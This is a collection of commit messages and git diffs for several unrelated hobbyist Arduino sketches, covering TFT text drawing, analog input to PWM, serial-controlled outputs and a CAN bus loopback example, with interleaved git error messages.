+  dump_var("y",y);
+  dump_var("w",w);
+  dump_var("h",h);
+
+  tft.drawRect(x, y, w, h, ILI9341_RED);
+  tft.setCursor(cx, cy);
+  tft.print(str);
+}
+
+void drawTextAndBounds(int16_t cx, int16_t cy, const __FlashStringHelper *s)
+{
+  int16_t x, y;
+  uint16_t w, h;
+
+  tft.getTextBounds(s, cx, cy, &x, &y, &w, &h);
+  dump_var("x",x);
+  dump_var("y",y);
+  dump_var("w",w);
+  dump_var("h",h);
+
+  tft.drawRect(x, y, w, h, ILI9341_GREEN);
+  tft.setCursor(cx, cy);
+  tft.print(s);
+}
+
+void setup()
+{
+  char s1[]="ABC";
+  char k1[]="日本語";
+
+  Serial.begin(19200);
+  delay(100);
+  Serial.println("\n\nReset:");
+
+  tft.begin();
+  tft.setRotation(3);
+  tft.fillScreen(ILI9341_BLACK);
+#if 1
+  tft.setTextSize(4);
+  drawTextAndBounds(5, 10, s1);
+
+  tft.setTextSize(2);
+  drawTextAndBounds(5, 50, F("Hello\nWorld"));
+
+  tft.setFontx(font_z, font_h);
+  tft.setTextSize(2);
+  drawTextAndBounds(160,10, F("漢字"));
+
+  drawTextAndBounds(160,40, k1);
+
+  tft.setTextSize(0);
+  drawTextAndBounds(0,100, F("1行目\n２行目"));
+
+  drawTextAndBounds(160,160, F("line wrap test. Very long line."));
+#else
+  tft.setFontx(font_z, font_h);
+  drawTextAndBounds(300,160, F("abcd"));
+#endif
+}
+
+void loop()
+{
+}


Basic example to build on for UART

Basic example to build on for UART

Uses the serial communication library for arduino, initializes UART,
reads from the UNO's ADC and sets PWM output a well.

error: pathspec 'APP/AnalogInOutSerial/AnalogInOutSerial.ino' did not match any file(s) known to git

--- APP/AnalogInOutSerial/AnalogInOutSerial.ino
+++ APP/AnalogInOutSerial/AnalogInOutSerial.ino
@@ -0,0 +1,53 @@
+/*
+  Analog input, analog output, serial output
+
+ Reads an analog input pin, maps the result to a range from 0 to 255
+ and uses the result to set the pulsewidth modulation (PWM) of an output pin.
+ Also prints the results to the serial monitor.
+
+ The circuit:
+ * potentiometer connected to analog pin 0.
+   Center pin of the potentiometer goes to the analog pin.
+   side pins of the potentiometer go to +5V and ground
+ * LED connected from digital pin 9 to ground
+
+ created 29 Dec. 2008
+ modified 9 Apr 2012
+ by Tom Igoe
+
+ This example code is in the public domain.
+
+ */
+
+// These constants won't change.  They're used to give names
+// to the pins used:
+const int analogInPin = A0;  // Analog input pin that the potentiometer is attached to
+const int analogOutPin = 9; // Analog output pin that the LED is attached to
+
+int sensorValue = 0;        // value read from the pot
+int outputValue = 0;        // value output to the PWM (analog out)
+
+void setup() {
+  // initialize serial communications at 9600 bps:
+  Serial.begin(9600);
+}
+
+void loop() {
+  // read the analog in value:
+  sensorValue = analogRead(analogInPin);
+  // map it to the range of the analog out:
+  outputValue = map(sensorValue, 0, 1023, 0, 255);
+  // change the analog out value:
+  analogWrite(analogOutPin, outputValue);
+
+  // print the results to the serial monitor:
+  Serial.print("sensor = " );
+  Serial.print(sensorValue);
+  Serial.print("\t output = ");
+  Serial.println(outputValue);
+
+  // wait 2 milliseconds before the next loop
+  // for the analog-to-digital converter to settle
+  // after the last reading:
+  delay(2);
+}


Arduino Files

Arduino Files

piServo.ino

error: pathspec 'Arduino' did not match any file(s) known to git
error: pathspec 'Files/piServo.ino' did not match any file(s) known to git


move variable types into for loops

move variable types into for loops

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/kdomen/Morse-Code.git/'


Rearrange some code. Don't kill interrupts. Try to get better wind speed.

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/spoollord/MyOurWeather.git/'


Arduino File

Arduino File

Addition, not required but useful to someone implementing this
framework. Also fixed a typecast error in the C#

error: pathspec 'SerialCharge.ino' did not match any file(s) known to git

--- SerialCharge.ino
+++ SerialCharge.ino
@@ -0,0 +1,83 @@
+const int R1 = 3;
+const int R2 = 5;
+const int R3 = 6;
+const int G1 = 9;
+const int G2 = 10;
+const int G3 = 11;
+const int led = 13;
+const int AIA = 7;
+const int AIB = 8;
+
+void setup() {
+    Serial.begin(9600); // set serial speed
+    pinMode(led, OUTPUT);
+    pinMode(AIA, OUTPUT);
+    pinMode(AIB, OUTPUT);
+    pinMode(R1, OUTPUT);
+    pinMode(R2, OUTPUT);
+    pinMode(R3, OUTPUT);
+    pinMode(G1, OUTPUT);
+    pinMode(G2, OUTPUT);
+    pinMode(G3, OUTPUT);
+    digitalWrite(led, LOW); //turn off LED
+    digitalWrite(AIA, LOW);
+    digitalWrite(AIB, LOW); //hold glass
+}
+
+void VoltageOn() {
+    analogWrite(R1, 160);
+    analogWrite(R2, 160);
+    analogWrite(R3, 160);
+    analogWrite(G1, 160);
+    analogWrite(G2, 160);
+    analogWrite(G3, 160);
+}
+
+void VoltageOff() {
+    analogWrite(R1, 0);
+    analogWrite(R2, 0);
+    analogWrite(R3, 0);
+    analogWrite(G1, 0);
+    analogWrite(G2, 0);
+    analogWrite(G3, 0);
+}
+
+void loop(){
+    while (Serial.available() == 0); // do nothing if nothing sent
+    int val = Serial.read() - '0'; // deduct ascii value of '0' to find numeric value of sent number
+
+    switch (val)
+    {
+      case 0:
+       VoltageOff();
+       digitalWrite(led, LOW); // turn off LED
+       digitalWrite(AIA, LOW); // discharge glass
+       digitalWrite(AIB, LOW);
+      break;
+      case 1:
+       VoltageOn();
+       digitalWrite(led, HIGH); // turn on LED
+       digitalWrite(AIA, HIGH); // charge glass
+       digitalWrite(AIB, LOW);
+      break;
+      case 2:
+       VoltageOff();
+       digitalWrite(led, LOW); // turn off LED
+       digitalWrite(AIA, HIGH); // discharge glass
+       digitalWrite(AIB, HIGH);
+      break;
+      case 3:
+       VoltageOn();
+       digitalWrite(led, HIGH); // turn off LED
+       digitalWrite(AIA, LOW); // discharge glass
+       digitalWrite(AIB, HIGH);
+      break;
+      case 4:
+       VoltageOff();
+       digitalWrite(led, LOW); // turn off LED
+       digitalWrite(AIA, LOW); // discharge glass
+       digitalWrite(AIB, LOW);
+      break;
+    }
+    Serial.flush(); // clear serial port
+}


Add arduino example

Add arduino example

error: pathspec 'examples/arduino_can/arduino_can.ino' did not match any file(s) known to git

--- examples/arduino_can/arduino_can.ino
+++ examples/arduino_can/arduino_can.ino
@@ -0,0 +1,36 @@
+#include <SPI.h>
+#include <mcp2515.h>
+
+static can_message_t can_message;
+
+void spi_transfer_mcp2515(uint8_t *buf, uint8_t len) {
+  SPI.transfer(buf, len);
+}
+
+void print_can_message(can_message_t message) {
+  Serial.println(message.mtype, HEX);
+  Serial.println(message.std_id, DEC);
+  Serial.println(message.ext_id, DEC);
+  Serial.println(message.length, DEC);
+}
+
+void setup() {
+  can_message = {MTYPE_EXTENDED_DATA, 5, 6, 2, {1,2}};
+  pinMode(9, INPUT);
+
+  Serial.begin(115200);
+  Serial.println("Start Serial");
+
+  delay(50);
+
+  config_interrupts(0x03);
+  config_timing(CNF1_10MHZ_125KBIT, CNF2_10MHZ_125KBIT, CNF3_10MHZ_125KBIT);
+  config_receive_ctrl(0x60, 0x60);
+  set_mode(MODE_LOOPBACK);
+}
+
+void loop() {
+  if (!digitalRead(9)) {
+    Serial.println("Interrupt");
+  }
+}